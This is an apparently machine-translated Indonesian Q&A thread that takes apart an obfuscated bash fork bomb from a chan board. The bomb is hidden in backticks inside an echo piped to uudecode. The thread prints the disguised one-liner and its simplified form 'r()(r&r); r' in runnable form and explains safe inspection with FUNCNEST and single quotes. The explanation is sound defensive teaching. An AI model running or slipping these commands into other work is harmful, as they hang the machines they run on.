Bagaimana dan mengapa teks ini menjadi bom fork?

132

Ditemukan di papan chan acak:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Entah bagaimana menjalankan ini, ini menghasilkan proses pemijahan yang tak terhingga yang merajalela dan mesin terhenti. Saya melihat sesuatu tentang "su" yang berusaha dieksekusi berkali-kali.

..yang aneh, karena saya hanya berharap teks menjadi output, bukan eksekusi apa pun.

Menjalankan teks ini melalui dekoder online hanya memberi saya sekumpulan binary spew:

hasil uudecode

Apa yang sebenarnya dilakukan kekacauan teks ini, dan adakah cara untuk "melihatnya" dengan aman?

Mikey TK
sumber
Mengapa "su" dieksekusi berkali-kali?
Brent Washburne
34
Saran: jangan jalankan kode dari papan chan acak dan bersyukur itu hanya bom fork.
RR
21
Heh. Untungnya saya menggunakan VM snapshotted yang dibuat untuk tujuan bermain-main dengan kemungkinan sampah yang bermusuhan seperti ini.
Mikey TK
1
Vidar Holen, penulis shellcheck.net menulis posting di blog ini di mana ia mengklaim sebagai penulis bom fork ini dan memberikan beberapa informasi latar belakang.
Socowi

Jawaban:

194

Pertama, mari kita lihat seluruh perintah:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Ini berisi string yang dikutip ganda yang digemakan uudecode. Tapi, perhatikan bahwa, dalam string yang dikutip ganda adalah string yang dikutip kembali . String ini dieksekusi . String adalah:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Jika kita melihat apa yang ada di dalamnya, kita melihat tiga perintah:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Melakukan ekspansi brace pada perintah tengah, kami memiliki:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

Baris pertama mencoba menjalankan perintah nonsense di latar belakang. Ini tidak penting.

Baris kedua penting: ia mendefinisikan fungsi ryang, ketika dijalankan, meluncurkan dua salinannya sendiri. Setiap salinan itu, tentu saja, akan meluncurkan dua salinan lagi. Dan seterusnya.

Baris ketiga berjalan r, memulai bom fork.

Sisa kode, di luar string yang dikutip kembali, hanya omong kosong untuk kebingungan.

Cara menjalankan perintah dengan aman

Kode ini dapat dijalankan dengan aman jika kita menetapkan batas pada level fungsi nesting. Ini bisa dilakukan dengan FUNCNESTvariabel bash . Di sini, kami mengaturnya 2dan ini menghentikan rekursi:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Pesan kesalahan di atas menunjukkan bahwa (a) perintah omong kosong rYWdldan Y29jtidak ditemukan, (b) bom fork berulang kali dihentikan oleh FUNCNEST, dan (c) output dari echotidak dimulai dengan begindan, akibatnya, bukan input yang valid untuk uudecode.

Bom garpu dalam bentuknya yang paling sederhana

Akan seperti apa bentuk bom garpu jika kita menghilangkan penyembunyiannya? Seperti yang disarankan njzk2 dan gerrit, akan terlihat seperti:

echo "`r()(r&r);r`"

Kami dapat menyederhanakan itu lebih jauh:

r()(r&r); r

Itu terdiri dari dua pernyataan: satu mendefinisikan fungsi bom-garpu rdan menjalankan kedua r.

Semua kode lain, termasuk pipa untuk uudecode, ada di sana hanya untuk penyembunyian dan penyesatan.

Bentuk aslinya memiliki lapisan penyesatan

OP telah memberikan tautan ke diskusi papan saluran tempat kode ini muncul. Seperti yang disajikan di sana, kode itu tampak seperti:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Perhatikan salah satu komentar pertama tentang kode ini:

Aku jatuh cinta padanya. Disalin hanya bagian yang menggemakan dan menerjemahkan, tetapi masih harus forkbombed

Dalam formulir di papan chann, orang naif akan berpikir bahwa masalahnya adalah evalpernyataan yang beroperasi pada output uudecode. Ini akan membuat orang berpikir bahwa menghapus evalakan menyelesaikan masalah. Seperti yang telah kita lihat di atas, ini salah dan sangat berbahaya.

John1024
sumber
6
Licik! Saya tidak pernah berpikir untuk mempertimbangkan shell globbing / ekspansi di tengah string yang digaungkan.
Mikey TK
31
Saya pikir akan baik untuk mencatat bahwa uudecodeini sama sekali tidak relevan di sini. Sejenak saya pikir uudecodesedang melakukan interpolasi string yang dikutip kembali yang akan membuatnya secara fundamental tidak aman, tetapi bom fork terjadi sebelum uudecode dimulai.
gerrit
28
... dan ini , nyonya-nyonya, mengapa keamanan di skrip shell sangat sulit. Bahkan hal-hal yang benar-benar tampak tidak berbahaya dapat membunuhmu. (Bayangkan jika ini adalah input pengguna dari suatu tempat ...)
MathematicalOrchid
22
@MathematicalOrchid Ini sebenarnya membutuhkan upaya nontrivial untuk menyebabkan hal-hal yang dikutip kembali dalam input pengguna ke skrip shell untuk dieksekusi. Dan jika Anda membuat skrip shell dari input pengguna, Anda harus tahu lebih baik daripada menuliskannya dalam tanda kutip ganda.
Random832
5
@ njzk2 Anda masih memerlukan &sana: echo "`r()(r&r);r`".
gerrit
10

Untuk menjawab bagian kedua dari pertanyaan Anda:

... adakah cara untuk "melihatnya" dengan aman?

Untuk meredakan string ini, ganti tanda kutip luar ganda dengan tanda kutip tunggal dan keluar dari tanda kutip tunggal yang terjadi di dalam string. Seperti ini, shell tidak akan mengeksekusi kode apa pun, dan Anda benar-benar menyampaikan semuanya langsung ke uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Alternatif lain dicatat dalam komentar:

kasperd menyarankan :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall menyarankan untuk menggunakan editor teks, menempelkan konten, lalu meneruskan file itu ke uudecode.

gerrit
sumber
5
Atau: Ketikkan uudecodepada baris perintah. Tekan enter. Salin-tempel string yang akan diterjemahkan.
kasperd
3
Alternatif lain: gunakan editor teks untuk menyimpan konten ke file. Buka file itu dengan uudecode.
Jacob Krall 615
Berkat keduanya, saya telah mencatat alternatif-alternatif itu dalam jawabannya.
gerrit
1
Pastikan Anda memeriksa bahwa string itu bukan seperti echo "foo`die`bar'`die`'baz"dulu! Artinya, jika ada 's di dalamnya maka mengganti tanda kutip dengan tanda kutip tunggal tidak akan cukup.
wchargin
5

Pada pandangan pertama, Anda mungkin berpikir bahwa output ke shell tidak akan pernah dieksekusi . Ini masih benar . Masalahnya sudah di input . Trik utama di sini adalah apa yang oleh programmer disebut sebagai prioritas operator . Ini adalah urutan yang dicoba shell untuk memproses input Anda:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Tulis string dengan menjalankan semua perintah backtick di dalamnya.
  2. Biasanya perintah yang tidak dikenal, yang akan menyebabkan beberapa output seperti Jika 'rYWdl' bukan kesalahan ketik Anda dapat menggunakan perintah-tidak-ditemukan untuk mencari paket yang berisi itu ... (tergantung pada sistem)
  3. Menjalankan 2. di latar belakang. Anda tidak akan pernah melihat output.
  4. Tentukan fungsi bom garpu.
  5. Pemisah perintah.
  6. Jalankan bom garpu.
  7. Masukkan hasil 6. ke dalam String. (Kami tidak pernah datang ke sini.)

Kesalahannya adalah berpikir bahwa itu echoakan menjadi perintah pertama yang akan dieksekusi, uudecodeyang kedua. Keduanya tidak akan pernah tercapai.

Kesimpulan: Kutipan ganda selalu berbahaya pada shell.

Matthias Ronge
sumber